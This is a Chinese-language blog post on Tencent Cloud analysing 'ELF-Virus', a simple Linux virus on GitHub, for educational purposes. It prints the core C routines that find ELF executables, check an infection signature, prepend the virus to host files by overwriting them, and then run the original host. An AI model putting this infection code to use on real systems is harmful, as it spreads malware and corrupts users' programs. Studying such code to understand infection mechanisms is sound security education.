首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >ELF-Virus简易病毒程序分析

ELF-Virus简易病毒程序分析

作者头像
qife122
发布2025-06-16 08:52:43
发布2025-06-16 08:52:43
1270
举报

系统功能概述

ELF-Virus实现了一个简单的病毒程序,能够感染当前目录下的ELF格式的可执行文件。病毒程序通过将自身代码附加到目标文件中,并在文件末尾添加一个特定的签名来标记文件已被感染。感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。

系统架构

  1. 病毒程序:病毒程序本身是一个ELF格式的可执行文件,它通过检查当前目录下的其他ELF文件,选择未被感染的文件进行感染。
  2. 感染机制:病毒程序通过将自身代码附加到目标文件的末尾,并在文件末尾添加一个特定的签名(SIGNATURE)来标记文件已被感染。
  3. 执行机制:感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。

主要核心技术点

ELF文件识别:病毒程序通过读取文件的前4个字节来判断文件是否为ELF格式。ELF文件的前4个字节为0x7f, 'E', 'L', 'F'

代码语言:javascript
复制
   bool isELF(char* fileName) {
       if(fileName[0] == '.') return false;
       int hfd = open(fileName, O_RDONLY);
       char header[4];
       read(hfd, header, 4);
       close(hfd);
       return header[0] == 0x7f
           && header[1] == 'E'
           && header[2] == 'L'
           && header[3] == 'F';
   }

感染检测:病毒程序通过检查文件末尾的签名来判断文件是否已被感染。

代码语言:javascript
复制
   bool isClean(char* fileName) {
       int signature;
       int fd = open(fileName, O_RDONLY);
       lseek(fd, -1 * sizeof(signature), SEEK_END);
       read(fd, &signature, sizeof(signature));
       close(fd);
       return signature != SIGNATURE;
   }

文件感染:病毒程序通过创建一个临时文件,将病毒代码、原始文件内容和签名依次写入临时文件,然后将临时文件重命名为原始文件名,完成感染过程。

代码语言:javascript
复制
   void infectHostFile(char* hostFileName, int vfd) {
       int hfd = open(hostFileName, O_RDONLY);
       struct stat st;
       fstat(hfd, &st);
       int hostSize = st.st_size;
       int signature = SIGNATURE;
       int tfd = creat(TEMP_FILENAME, st.st_mode);
       sendfile(tfd, vfd, NULL, SIZE);
       sendfile(tfd, hfd, NULL, hostSize);
       write(tfd, &signature, sizeof(signature));
       rename(TEMP_FILENAME, hostFileName);
       close(tfd);
       close(hfd);
   }

执行原始程序:感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。

代码语言:javascript
复制
void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
       int tfd = creat(TEMP_FILENAME, mode);
       lseek(vfd, SIZE, SEEK_SET);
       int signatureSize = sizeof(SIGNATURE);
       int hostSize = totalSize - SIZE - signatureSize;
       sendfile(tfd, vfd, NULL, hostSize);
       close(tfd);
       pid_t pid = fork();
       if(pid == 0) {
           execv(TEMP_FILENAME, argv);
       }
       else{
           waitpid(pid, NULL, 0);
           unlink(TEMP_FILENAME);
       }
   }

应用场景

ELF-Virus主要用于研究和理解病毒程序的基本工作原理,以及如何通过代码实现文件的感染和执行。它可以用于教学目的,帮助学习者理解恶意软件的基本工作机制。

系统总结

ELF-Virus程序通过简单的文件操作和ELF文件格式的识别,实现了对目标文件的感染。感染后的文件在执行时会先执行病毒代码,然后再执行原始的程序代码。该程序展示了病毒程序的基本工作原理,具有一定的教育意义,但同时也提醒我们注意计算机安全,防止恶意软件的传播和感染。

github链接地址:https://github.com/shailrshah/ELF-Virus.git

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-03-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全技术点滴分享 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 系统功能概述
  • 系统架构
  • 主要核心技术点
  • 应用场景
  • 系统总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档